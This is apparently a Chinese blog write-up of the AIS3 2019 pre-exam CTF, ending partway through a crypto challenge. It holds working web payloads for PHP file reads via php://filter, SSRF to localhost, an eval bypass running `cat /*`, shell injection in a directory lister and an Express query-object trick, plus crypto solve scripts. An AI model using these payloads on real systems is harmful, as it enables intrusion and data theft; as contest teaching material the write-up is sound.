2019-06-19 | write-up | UNLOCK

AIS3 2019 pre-exam write-up暨迷你心得

前言

先附個Terrynini在封榜後截的記分板(有點長)

AIS3 pre-exam scoreboard

嗯….挺長的

算了算這可能算是我第二次打超過一天的CTF比賽吧,雖然第一次也是去年的AIS3 pre-exam

總之這次應該是一堆大佬都沒來比了,加上運氣好像蠻好的,瞎摸一堆就看到flag,莫名其妙的拿了個第4名

不過從頭到尾只解了一題pwn的bof,連orw都不會解,所以跟上面的人差距著實不小,不過最近也在慢慢多學一點pwn相關的知識了,希望去AIS3的時候不要又跟去年一樣無力

總之來寫寫一些我賽到的部分吧

阿,對了,先附個官解連結:

Web

Simple Window

這題我覺得是Web題裡面最難的www(?)

我從頭到尾不知道發生什麼事,也沒有使用burpsuite之類的習慣

搞了很久之後還是不知道為什麼/flag拿不到東西

最後就直接在瀏覽器裡編輯HTML,加入一個from submit之後就拿到flag了

看到官解才知道有什麼service worker之類的東東QQ

Hidden

這題沒存到資料,所以是參考官方解寫的,不過我的解也一樣就是了

總之開啟來翻了翻code看到有個js,戳開搜尋了一下flag發現有個{"./flag.js":"nHHx"}

繼續搜尋個nHHx看到

1
2
3
"nHHx":[function(require,module,exports) {
"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.default=void 0;var r=function(){return function(){var r=Array.prototype.slice.call(arguments),t=r.shift();return r.reverse().map(function(r,e){return String.fromCharCode(r-t-25-e)}).join("")}(12,144,165,95,167,140,95,157,94,164,91,122,111,102)+4..toString(36).toLowerCase()+21..toString(36).toLowerCase().split("").map(function(r){return String.fromCharCode(r.charCodeAt()+-13)}).join("")+1234274547001..toString(36).toLowerCase()+21..toString(36).toLowerCase().split("").map(function(r){return String.fromCharCode(r.charCodeAt()+-13)}).join("")+579..toString(36).toLowerCase()+function(){var r=Array.prototype.slice.call(arguments),t=r.shift();return r.reverse().map(function(r,e){return String.fromCharCode(r-t-44-e)}).join("")}(18,190,127,170,113)};exports.default=r;
},{}]

抓出來執行一下後就拿到Flag AIS3{4r3_y0u_4_fr0n73nd_g33k?}

d1v1n6

點了hint看到http://pre-exam-web.ais3.org:10103/?path=hint.txt,於是想說可能是某種file_get_contents之類的東西

直接打了http://pre-exam-web.ais3.org:10103/?path=index.php,發現不能有flag這個關鍵字

那就改用php filter來撈資料,所以改成連http://pre-exam-web.ais3.org:10103/?path=php://filter/read=string.rot13/resource=index.php就可以拿到source code了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

<?php

if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {

// show path of the flag
die($_ENV['FLAG_HINT']);
}


if ($path = @$_GET['path']) {
$path = trim($path);

if (preg_match('/https?:\/\/([^s\/]+)/i', $path, $g)) {
// resolve ip address
$ip = gethostbyname($g[1]);

// no local request
if ($ip == '127.0.0.1' || $ip == '0.0.0.0')
die('Do not request to localhost!');
}

// no flag in path
$path = preg_replace('/flag/i', '', $path);

if ($content = @file_get_contents($path, FALSE, NULL, 0, 1000)) {

// no flag in content
if (preg_match('/flag/i', $content)) {
die('Detected "flag" in content. Not showing!');
}

die($content);
}

die('No content or failed to get content.');
}

?>
<h2>d1v1n6</h2>
<a href="?path=hint.txt">Hint</a>

看完source code發現只要讓他自己去連index.php就可以拿到flag了

原本打算用http://pre-exam-web.ais3.org:10103/?path=http://localhost/index.php拿到資料,但再次的發現裡面有flag字眼

於是再用php filter把資料撈出來
http://pre-exam-web.ais3.org:10103/?path=php://filter/read=convert.base64-encode/resource=http://localhost/index.php

得知flag擺在http://pre-exam-web.ais3.org:10103/FLAG_14d65189669f05d206764c9de441474d.txt

進去就拿到flag: AIS3{600d_j0b_bu7_7h15_15_n07_7h3_3nd}

不過拿到flag後其實一直很好奇那個regular expression有什麼用,因為看到的時候還以為要某種dns第一次的時候拿到的跟第二次拿到的不一樣的技巧

看了官解才發現原來只是他code寫爛了XDD

3v4l

進去之後看到一個php source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php ob_start();
(
$_
="TG
9jYXR
pb246I
Gh0dHBz
Oi8veW91
dHUuYmUvZ
FF3NHc5V2d
YY1EK") &&
HiGhlIght_FiLE
( __FILE__ ) &&
pReg_MATcH("/[\x61-\x7a
\x41-\x5a]/", $_GET['#'])
!== 0 ? die(header(base64_decode
($_))) : (strlen($_GET['#']) > 18
? dIe(header(baSE64_DecOde($_)) )
: eval( "\x65cho " . $_GET['#'] ) );
dIE(<<<SEACAT007SEACAT007SEACAT007SEACAT007
_ ___ /^^\ /^\ /^^\_
_ _@)@) \ ,,/ '` ~ `'~~ ', `\.
_/o\_ _ _ _/~`.`...'~\ ./~~..,'`','',.,' ' ~:
/ `,'.~,~.~ . , . , ~|, ,/ .,' , ,. .. ,,. `, ~\_
( ' _' _ '_` _ ' . , `\_/ .' ..' ' ` ` `.. `, \_
~V~ V~ V~ V~ ~\ ` ' . ' , ' .,.,''`.,.''`.,.``. ', \_
_/\ /\ /\ /\_/, . ' , `_/~\_ .' .,. ,, , _/~\_ `. `. '., \_
< ~ ~ '~`'~'`, ., . `_: ::: \_ ' `_/ ::: \_ `.,' . ', \_
\ ' `_ '`_ _ ',/ _::_::_ \ _ _/ _::_::_ \ `.,'.,`., \-,-,-,_,_,
`'~~ `'~~ `'~~ `'~~ \(_)(_)(_)/ `~~' \(_)(_)(_)/ ~'`\_.._,._,'_;_;_;_;_;
SEACAT007SEACAT007SEACAT007SEACAT007
) && sYsTEm( "seacat flag007" );
ob_end_flush();

稍微整理一下可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php ob_start();

if(($_="TG9jYXRpb246IGh0dHBzOi8veW91dHUuYmUvZFF3NHc5V2dYY1EK") &&
highlight_file( __FILE__ ) &&
preg_match( "/[a-zA-Z]/", $_GET['#'] ) !== 0){
die( header( base64_decode( $_ ) ) );
} else if( strlen($_GET['#']) > 18 ) {
die( header( base64_decode( $_ ) ) );
}else{
eval( "echo " . $_GET['#'] );
}
dIE(<<<SEACAT007SEACAT007SEACAT007SEACAT007
_ ___ /^^\ /^\ /^^\_
_ _@)@) \ ,,/ '` ~ `'~~ ', `\.
_/o\_ _ _ _/~`.`...'~\ ./~~..,'`','',.,' ' ~:
/ `,'.~,~.~ . , . , ~|, ,/ .,' , ,. .. ,,. `, ~\_
( ' _' _ '_` _ ' . , `\_/ .' ..' ' ` ` `.. `, \_
~V~ V~ V~ V~ ~\ ` ' . ' , ' .,.,''`.,.''`.,.``. ', \_
_/\ /\ /\ /\_/, . ' , `_/~\_ .' .,. ,, , _/~\_ `. `. '., \_
< ~ ~ '~`'~'`, ., . `_: ::: \_ ' `_/ ::: \_ `.,' . ', \_
\ ' `_ '`_ _ ',/ _::_::_ \ _ _/ _::_::_ \ `.,'.,`., \-,-,-,_,_,
`'~~ `'~~ `'~~ `'~~ \(_)(_)(_)/ `~~' \(_)(_)(_)/ ~'`\_.._,._,'_;_;_;_;_;
SEACAT007SEACAT007SEACAT007SEACAT007
) && system( "seacat flag007" );
ob_end_flush();
?>

瞄了兩下發現他會eval("echo ".$_GET['#']),所以做法應該是想辦法是湊出一個長度<18,不包含任何大小寫英文字母的payload塞在$_GET[‘#’]裡面

看到字串類的東西我第一個想到的是利用`cmd`,這樣就可以執行system("cmd"),但是因為不能有英文字母,所以我是想到用某種其他的編碼之類的來escape,查了查找到php可以用\141來表示a(141是a的8進位表示)

所以最後就構造了一個payload: http://pre-exam-web.ais3.org:10105/?%23=`\143\141\164%20/*`; 連進去就拿到flag了XD

不過看了官解才發現這其實是untended solution …

d1v1n6 d33p3r

前一題d1v1n6給的hint告訴我們

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
                 ^`.                     o
^_ \ \ o o
\ \ { \ o
{ \ / `~~~--__
{ \___----~~' `~~-_ ______ _____
\ /// a `~._(_||___)________/___
/ /~~~~-, ,__. , /// __,,,,) o ______/ \
\/ \/ `~~~; ,---~~-_`~= \ \------o-' \
/ / / /
'._.' _/_/
';|\
Your flag:
AIS3{600d_j0b_bu7_7h15_15_n07_7h3_3nd}

Hints for d1v1n6 d33p3r:
- Find the other web server in the internal network.
- Scanning is forbidden and not necessary.

所以只好到處亂逛,逛了真的超級久逛到/etc/hosts的時候發現原來有另外一個網站http://pre-exam-web.ais3.org:10103/?path=http://172.22.0.2/

原本以為這裡就結束了,於是順手檢視原始碼

1
2
3
4
5
6
7
<h2>Directory Lister</h2>
<p>Let's hack my stupid webpage for d1v1n6 d33p3r</p>

<form>
<input type="text" name="dir" value="./">
<input type="submit" value="List!">
</form>

結果這才只是新的一題的開始,嘗試填了表單發現看起來很像他會執行system('ls -al \''.$_GET['dir'].'')並且把資料輸出出來,嘗試構造了很久的payload,也不知道到底發生什麼事

總之最後透過http://pre-exam-web.ais3.org:10103/?path=http://172.22.0.2/?dir=-F%2527;cat%2520index.php;%2527成功leak出原始碼與flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<h2>Directory Lister</h2>
<p>Let's hack my stupid webpage for d1v1n6 d33p3r</p>

<form>
<input type="text" name="dir" value="./">
<input type="submit" value="List!">
</form>

<?php if ($dir = @$_GET['dir']): ?>
<pre>Output:
<?= shell_exec("ls -al '$dir'") ?>
</pre>
<?php endif; exit; ?>
AIS3{y0u_4r3_4bl3_70_d1v3_d33p3r_n3x7_71m3}

tokeeeeen

如果沒有CTFd裡的hint的話,我覺得這題還真的有點通靈ww

總之我們發現他是個node的project,所以去讀個package.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"name": "server",
"version": "1.0.0",
"description": "server",
"main": "server.js",
"scripts": {
"start": "node server.js"
},
"author": "djsoix",
"license": "ISC",
"dependencies": {
"express": "^4.16.4",
"morgan": "^1.9.1"
}
}

發現server擺在server.js,嘗試去讀了code後就拿到原始碼了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const FLAG = process.env.FLAG;
const HOST = process.env.HOST;
const PORT = process.env.PORT;

let express = require('express');
let morgan = require('morgan');

let app = express();
app.use(morgan(':remote-addr :method :url')); // logging
app.use('/', express.static('./'));

class TokenError extends Error {}

app.get('/flag', (req, res) => {
try {
let token = req.query.token;

console.log(token);
console.log(token.length.__proto__)

if (!token)
throw new TokenError('Not provided.');

if (token.length > 32)
throw new TokenError(`Bro, ${token.length} is too long!`);

if (0 < token.length < 16)
throw new TokenError('No, please.');

} catch (e) {
if (e instanceof TokenError) {
res.send(e.message);
return;
}
}

res.send(FLAG);
});

app.listen(PORT, HOST);

所以知道只要送對東西到/flag就可以拿到flag了,於是開始研究code,發現他很神奇的自己弄了一個新的Error Type出來,而且還有try catch,所以猜想可能是要自己讓他噴出一個其他的error就可以拿到flag

研究了一下發現express內建的parser,讓我們的get是可以送出一個object的,想了想發現比大小的時候可能會呼叫某種operator,於是嘗試覆蓋掉,最後找到是要覆蓋掉toString,因次構造出payloadhttp://pre-exam-web.ais3.org:10102/flag?token[length][__proto__][toString]=1

就拿到flag: AIS3{1_d0n7_w4n7_70_wr173_j4v45cr1p7_4nym0r3}

BabySSRF

時間不是很足,看完orange的「SSRF-從入門到放棄」,還是不知道要幹嘛,雖然好像他們是有開gopher之類的,但真的不會利用,最後就放棄

哪天應該要在網路上或去問人如何SSRF

Crypto

TCash

拿到task.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from hashlib import md5,sha256
from secret import FLAG
cand = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ1234567890@,- _{}'

md5s = []
sha256s = []
for f in FLAG :
assert f in cand
md5s.append( int(md5(f.encode()).hexdigest(),16)%64 )
sha256s.append( int(sha256(f.encode()).hexdigest(),16)%64 )

# md5s = [41, 63, 46, 51, 6, 26, 42, 50, 44, 33, 29, 50, 27, 28, 30, 17, 31, 19, 46, 50, 33, 45, 26, 26, 29, 31, 52, 33, 1, 45, 31, 22, 50, 50, 50, 50, 50, 31, 22, 50, 44, 26, 44, 49, 50, 49, 26, 45, 31, 30, 22, 44, 30, 31, 17, 50, 50, 50, 31, 43, 52, 50, 53, 31, 30, 17, 26, 31, 46, 41, 44, 26, 31, 52, 50, 30, 31, 26, 39, 31, 46, 33, 27, 1, 42, 50, 31, 30, 12, 26, 27, 52, 31, 30, 12, 31, 46, 26, 27, 14, 50, 31, 22, 52, 33, 31, 41, 50, 46, 31, 22, 23, 41, 31, 53, 26, 21, 31, 33, 30, 31, 19, 39, 51, 33, 30, 39, 51, 12, 58, 60, 31, 41, 33, 53, 31, 3, 17, 50, 31, 51, 26, 29, 52, 31, 33, 22, 26, 31, 41, 51, 54, 41, 29, 52, 31, 19, 23, 33, 30, 44, 26, 27, 38, 8, 50, 29, 15]
# sha256s = [61, 44, 3, 14, 22, 41, 43, 30, 49, 59, 58, 30, 11, 3, 24, 35, 40, 46, 3, 42, 59, 36, 41, 41, 41, 40, 9, 59, 23, 36, 40, 33, 42, 42, 42, 42, 42, 40, 44, 42, 49, 24, 49, 28, 42, 33, 24, 36, 40, 24, 33, 10, 24, 40, 35, 42, 42, 42, 40, 39, 9, 42, 3, 40, 24, 35, 24, 40, 3, 61, 49, 24, 40, 9, 42, 24, 40, 41, 17, 40, 12, 57, 11, 23, 43, 42, 40, 24, 18, 41, 11, 9, 40, 24, 18, 40, 3, 41, 11, 12, 42, 40, 44, 9, 59, 40, 61, 42, 3, 40, 44, 13, 61, 40, 3, 24, 29, 40, 59, 24, 40, 19, 18, 6, 59, 24, 18, 6, 22, 0, 39, 40, 61, 57, 3, 40, 17, 35, 42, 40, 58, 24, 58, 9, 40, 59, 44, 24, 40, 61, 48, 52, 61, 58, 9, 40, 19, 13, 59, 24, 53, 41, 11, 55, 55, 42, 58, 18]

所以就照著算一下md5跟sha256,不過要記得break,因為有碰撞,所以不break會多一些字

1
2
3
4
5
6
7
8
9
10
11
12
from hashlib import md5,sha256
cand = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ1234567890@,- _{}'
md5s = [41, 63, 46, 51, 6, 26, 42, 50, 44, 33, 29, 50, 27, 28, 30, 17, 31, 19, 46, 50, 33, 45, 26, 26, 29, 31, 52, 33, 1, 45, 31, 22, 50, 50, 50, 50, 50, 31, 22, 50, 44, 26, 44, 49, 50, 49, 26, 45, 31, 30, 22, 44, 30, 31, 17, 50, 50, 50, 31, 43, 52, 50, 53, 31, 30, 17, 26, 31, 46, 41, 44, 26, 31, 52, 50, 30, 31, 26, 39, 31, 46, 33, 27, 1, 42, 50, 31, 30, 12, 26, 27, 52, 31, 30, 12, 31, 46, 26, 27, 14, 50, 31, 22, 52, 33, 31, 41, 50, 46, 31, 22, 23, 41, 31, 53, 26, 21, 31, 33, 30, 31, 19, 39, 51, 33, 30, 39, 51, 12, 58, 60, 31, 41, 33, 53, 31, 3, 17, 50, 31, 51, 26, 29, 52, 31, 33, 22, 26, 31, 41, 51, 54, 41, 29, 52, 31, 19, 23, 33, 30, 44, 26, 27, 38, 8, 50, 29, 15]
sha256s = [61, 44, 3, 14, 22, 41, 43, 30, 49, 59, 58, 30, 11, 3, 24, 35, 40, 46, 3, 42, 59, 36, 41, 41, 41, 40, 9, 59, 23, 36, 40, 33, 42, 42, 42, 42, 42, 40, 44, 42, 49, 24, 49, 28, 42, 33, 24, 36, 40, 24, 33, 10, 24, 40, 35, 42, 42, 42, 40, 39, 9, 42, 3, 40, 24, 35, 24, 40, 3, 61, 49, 24, 40, 9, 42, 24, 40, 41, 17, 40, 12, 57, 11, 23, 43, 42, 40, 24, 18, 41, 11, 9, 40, 24, 18, 40, 3, 41, 11, 12, 42, 40, 44, 9, 59, 40, 61, 42, 3, 40, 44, 13, 61, 40, 3, 24, 29, 40, 59, 24, 40, 19, 18, 6, 59, 24, 18, 6, 22, 0, 39, 40, 61, 57, 3, 40, 17, 35, 42, 40, 58, 24, 58, 9, 40, 59, 44, 24, 40, 61, 48, 52, 61, 58, 9, 40, 19, 13, 59, 24, 53, 41, 11, 55, 55, 42, 58, 18]
for i in range(len(md5s)) :
for c in cand:
m = int(md5(c.encode()).hexdigest(),16)%64
s = int(sha256(c.encode()).hexdigest(),16)%64
if m == md5s[i] and s == sha256s[i]:
print(c, end='')
break

跑起來就有flag: AIS3{0N_May_16th @Sead00g said Heeeee ReMEMBerEd tH4t heee UseD thE SAME set 0f On1iNe to01s to S01Ve Rsa AeS RCA DE5 at T-cat-cup, AnD 7he kEys aRE AlWAys TCat2019Key}

Random Guess

nc上去發現是一個LCG,我們要透過前幾項推測出後面的項數,抄襲參考網路上的教學

寫了個小腳本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# from http://zeroyu.xyz/2018/11/02/Cracking-LCG/
from pwn import *

def gcd(a, b):
return a if b == 0 else gcd(b, a%b)

def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, x, y = egcd(b % a, a)
return (g, y - (b // a) * x, x)
def modinv(b, n):
g, x, _ = egcd(b, n)
if g == 1:
return x % n
else:
print "can't find"
exit()

def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
return modulus, multiplier, increment

def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)

def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)

r = remote('pre-exam-chals.ais3.org',10200)
r.readline()
r.readline()
data = r.readline()
data = list(map(int, data[4:].split(", ")))
c, a, b = crack_unknown_modulus(data)
r.readline()
def f(x):
return (a*x+b)%c
for i in range(len(data)-1):
print data[i+1] == f(data[i])
for i in range(100):
data.append(f(data[-1]))
r.sendline(str(data[-1]))
print(r.readline())
print(r.readline())

多跑個幾次就有flag:AIS3{GGEZ!!LiNe42_COngRuen7i4l_6eNErATor}

RSA202

原本是靜態的但不知道被誰上傳到factordb後就換成線上版的了

nc上去拿到一些RSA相關的東東,不過每次都會變

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Preparing your challenge ... 
Ok!
e : 864113707
n1 : r * next_prime(r)
2057637689979828868813778966487602527209303374258467327917196568947192873175632809097258233657191113718352591488110926780757806441760348124791111343267835274407662982399393675992879
n2 : p * q
52324184179324772453567686834250882723630118511185655714317932103711417589175797939573332873099260469242216498689581568031678173107216997746660224652721235912984358738640983973115478887931172285179742938781274485931959933349677416096702436527739779870479999618673233703186586960457706268041334529037344843256703652406335264659743218661834035898362783667719250368615062040885895287829560032620689231868872595799426612194084809606208048885585965328105674673834797661057424408246796809441619231338240995503934767634707270556055795760076213594857650879033938797126845131860640561153578898075877872426580921874030308053204093096787108058577144476899098461224027875712499277234689895745715617945925302803608738746541765563963303
enc : pow(FLAG1, e, n1)
387415330369921039675317645883541936754820942612468619752309606008705861535452598131281548560939304937737759352180910688332403919941423608817560841574270069589283312766542410026522
enc : pow(FLAG2, e, n2)
48264566649163579775541249602255661719485610106238546996562919642942055547568668447739660899827057293898629259928388725902938220701630188964438226746386836169053052027396749334813660706329526730060443657011646221651175213929244636809008552834462591292137128764372202724908618414429479798043318327808910712187787245468978546915344165339506796983087666931853014485790809490154996482442220135897441354075233257956366801863667266092777768366472307826595455393240841688439420895802066059677886547065091448829618699215431241678126859222074293763997229515179364728219178737344116298779714667120742532926824597568297485559226067857068290363389373630910997580719271636739520480166023650910008203597304143344236333492247162620036539

p,q,r are prime numbers.

((p-1) % r)**2 + ((r**5 - 1) % p)**2 == 0

Good luck !!

暴力拿yafu拆開n1後觀察給的怪提示((p-1) % r)**2 + ((r**5 - 1) % p)**2 == 0

發現$r | p - 1$以及$p | (r - 1)(r^4 + r^3 + r^2 + r + 1)$,所以$p=r^4+r^3+r^2+r+1$(因為$r|p-1 \rightarrow r < p-1$),這樣我們就有p跟q,剩下就是暴力把密碼解回來了

寫了個腳本(資料跟上面的那份不同,不過flag一樣)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import getPrime, isPrime, inverse

e = 999410543
FLAG1_encrypted = 2019965040244116395512178744223716745902792067770406126662974709088696545359770595407839044425447697326283244725545691184827888464156713552649204295359275480753469221179167758150689
p2 = 1936452218017271194954702287677501605001979682336194309677013505082932595142014607788414273
p1 = 1936452218017271194954702287677501605001979682336194309677013505082932595142014607788414239

FLAG1 = pow( FLAG1_encrypted, inverse( e, ( p1 - 1 ) * ( p2 - 1 ) ), p1*p2 )

print hex(FLAG1)[2:-1].decode('hex')

x = (p1**5 - 1)/(p1-1)

N = 149954396473885217746197414809229206412778630163803272184649398952876192012209147221523034745341208118854559157773926560759397553612440131474151380385964099586065371542213208640241734553130593323500437197260056914179924924464513480017264830297291527451181554956011816511870082810566848354059928997951913647973082006923290399509944774838277985941685837467515611578494799030640120190421087671393870603547388670176819495607820621069378152812989620472797143430709626624522177943214714132733906097997788663359956326334169125084060561583826430377899249430430453050318194794387778825575775058737368531577795474317139110268235783213214420729578406811802322828402416990448539842567455351400137952526215556122390605289165515288289867

assert N % x == 0

y = N / x

FLAG2_encrypted = 21308012834506046132097278767575318150256642739580028013522530722239664545565491539132463158211221794477508851221919019459496528895930338919109942060265032102326303934613362396630853503930182630310611368229454116405427762559884771830034760705181289964222590946186941099439734615484452946258766128609814959567596659572919817110202799504054938168907069934736490913777793524784977221285686068919673939675440585048808210274995815616062581586378785387681296187201326254141407944002182328912020674622554304780686556757456646210651659310907424440866387920022355253233962376389436323827177890924471529587891657988026174277399233514423411525522313866248310608556679234085511484114924351835637814645004752499078546220777394942328399

FLAG2 = pow( FLAG2_encrypted, inverse( e, ( x - 1 ) * ( y - 1 ) ), N )

print (hex(FLAG2)[2:-1]).decode('hex')

拿到flag: AIS3{S0me7im3s_I_h4tE_factorDB}

RSA101

覺得最有趣的一題XD,也有可能他是最像OI的那種題目吧

首先nc上去會拿到public key跟被加密的flag,顯然我們是要透過某種方式得到一點N相關的資訊

那他很好心的提供了一個phi oracle,對於一個輸入的$x$會回傳${x\mod{\varphi(N)}}\mod{64}$

觀察發現$\varphi(N)$是64的倍數的機率應該不高,所以我們可以知道若是給出一個介在$[\varphi(N),2\varphi(N))$的數$x$,那回傳的值將與$x\mod{64}$不同,而要是$x<\varphi(N)$則回傳的值總是與$x\mod{64}$相同,於是我們就有一個可以二分搜驗證是否$x\geq\varphi(N)$的函數了

不過我們要怎麼找到一個介在$[\varphi(N),2\varphi(N))$的數呢,發現當$N$足夠大的時候,$N$一定會是一個合法的數,所以我們直接二分搜$[0,N]$之間$\geq \varphi(N)$最小的數即可得知$\varphi(N)$,有了$\varphi(N)$之後就直接做個簡單的逆元之類的就可以解密了

這裡附個我寫的簡單腳本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import isPrime, inverse
from pwn import *
from decimal import *
from math import ceil

r = remote('pre-exam-chals.ais3.org', 10201)

prefix = 'Public-key (e,N) : ('
encrypt_key, n = map(int,r.recvline().strip()[len(prefix):-1].split(','))

prefix = 'Encrypted Flag : '
encrypted = int(r.recvline().strip()[len(prefix):])

r.recvline().strip()
r.recvline().strip()

def query(x):
print "> query " + str(x)
s = r.recvline().strip()
assert s == 'n = ?'
r.sendline(str(x))
prefix = '(n % phi) % 64 ='
s = r.recvline().strip()[len(prefix):]
return x % 64 != int(s)

L, R = 0, n
while R - L > 1:
M = ( L + R ) >> 1
if query( M ):
R = M
else:
L = M
decrypt_key = inverse(encrypt_key, R)
plain = pow(encrypted, decrypt_key, n)
p = make_packer('all')
print plain
print p(plain)

跑完就可以拿到flag: AIS3{RSA_L0L_01100110011101010110001101101011}

CbC

首先拿到一個加密程式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3.7
import os

BLOCK_SIZE = 256

P = [
(0, [1, 7]),
(1, [0, 8]),
(0, [5, 3]),
(1, [8, 6]),
(0, [3, 9]),
(1, [4, 0]),
(0, [9, 1]),
(1, [6, 2]),
(0, [7, 5]),
(1, [2, 4]),
]

def n2B(b,length=BLOCK_SIZE):
return list(map(int, bin(b)[2:].rjust(BLOCK_SIZE, '0')))

def B2n(b):
return int("".join(map(str, b)), 2)

def swap(b):
l = BLOCK_SIZE // 2
mask = (1 << l) - 1
return (b >> l) | ((b & mask) << l)

def bitchain(cb, state=0):
if len(cb) == 0:
return cb
b, ns = P[state]
b0, bn = cb[0],cb[1:]
return [b0 ^ b] + bitchain(bn, state=ns[b0])

def blockcipher(b):
return B2n(bitchain(n2B(b)))

class CbC:

def __init__(self, k, rounds):
self.key = [k]
self.rounds = rounds
for i in range(1, self.rounds):
k = swap(blockcipher(k))
self.key.append(k)

def encrypt(self, b):
for i in range(self.rounds):
b ^= self.key[i]
b = blockcipher(b)
b = swap(b)
return b

if __name__ == "__main__":
flag = bytes.hex(os.urandom(BLOCK_SIZE // 8))
key = int(flag, 16)
C = CbC(key, 99)
print("Flag : AIS3{%s}" % flag)
with open("data", "w") as f:
for i in range(100):
pt = int(bytes.hex(os.urandom(BLOCK_SIZE // 8)), 16)
ct = C.encrypt(pt)
f.write(str((pt, ct)) + "\n")

還有一份看起來是被用這隻程式加密過的檔案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
(76173805501177359573786250867826865667623985658852407459502964711159068527937, 7132216118997241161329301114592304948838945360663660382939528954550389872641)
(18259599554523339924354916972836021973679987578903457584295302821262289008661, 13661945238357131965278901963492331507615754140652995774563485162413720908476)
(111867993836344685305354979271598599689038955287840401482941111566624201218690, 14868508557585259965173960261910313536021350887737172794878520514028357921848)
(25520424228118442633426803063340671008726381199333700311076279513540075930511, 59412252597669248481748421933639240160727107991257739857312674717617187933276)
(109312337153290902152325366120215179831150844421719160889039226243454610500804, 61953012052453834464184633353451595079137407148104548764093883414752340440623)
(49834177873175086538554122785651747601414009925610205465355309214692341303036, 21931613714345197126093982439060948713682268903447270984806238070314445411910)
(46069862077394656182838358951102531117651297713931904588423242067953011371852, 321568563823051206822193421237271047113722177520857783571017987729033106671)
(5862401748390887936549102477710924285206916794647976340837396234164803132415, 2295355531498772304959506693145738002154654320514696352686094617657016637958)
(18275227147836622499204609359879760512352374793876023167905151131317452620835, 20423682285165220149576449210053319981583525391656409568857885128752205900668)
(38265894422551672585538638213944909970183942182184960420389195813575281279047, 76780386130149271780200012015755454918176308183506430272557453113443534955269)
(16640875100179870724061305550205597130235440664345105226523502556240323996301, 21400800143682935516085009665518120005214678451613027596169480711723808498462)
(15791904427407969457829693487854900277372793792427607506796714872221422364074, 80602293244928932847068942154728349038718552668940374314472748906254561015280)
(69476229325002812857253913084793910080584984101541594865005382851359765673837, 664803459122473418150454058069428695502109597606425554850117158065306228072)
(67783841493468895431930008094148390558031264761855976762130539702474137044969, 103987617859850362573646653794207652490263859876199516979784488710056753056214)
(88868390756618272075222317303991022287748188767969112544575266575996328817115, 80419515989319231589534482900448001941725061309494626046415734521591333179730)
(72437793117445221003310450735311671875974483504454200265385166399776129927836, 82983756119428667829336614534730622471742622550332534685240869706570061474207)
(20283153464087034261187186510447103290819109100936894615968117364299424528270, 113331071292301751919988916828658143143236999417281003766608777998269017413130)
(19188068272125346203771068203136929842711248916508062841822019349509032960752, 81693057377091398357653972581227794044696253175714716014338180628418581598406)
(45348061245302259043145275613537043760915066469332918257842627542465150799738, 16679582638086544714959604556370079789204347740143370410890509669327574225160)
(34471712829043383942901876339750808396420214733886321669014415428197740648257, 3676584506346753036505536295251285508680345011674937065903923169468533237013)
(32038615213601909738988684828496859884827514911397000317912561937968589564276, 214776750974791192909586352796767252441290698341887031682712887793752290554)
(46886245361072254741380945622364844861752660541007522047311464170089094737761, 38397035851732367910248064853948835642310284442016058877991613704504594794617)
(92796509164185660208183013268147407632665701907704351206891292840309386686955, 72575478984190081759421974616089060158864652110874452201221025515557494939425)
(107708307852088398917310637458780900979044339565511242061341799534987385152021, 86581257753431736061277708713003079111367211238814522849689130520032447768116)
(37755501821705493899148733113545644907298112963613422055738860324916117067839, 80136483702374171107319683478868469943758284972835154881932538017865780316230)
(36755111865310807728097279956665507098485926303491197165928523552399696741310, 103416096083990773470599491457750171564009842142894399286090825388600200577423)
(62429769171250432565337970275928595897649862371613583105938656509790132798733, 47817940939231426265501238104809030793205147207062473397395380877417030245131)
(40432315600434179027976406930526009192798722441923883688433087729669235655904, 16619707109296026749362255715407963014939927102346276772094819369934542462936)
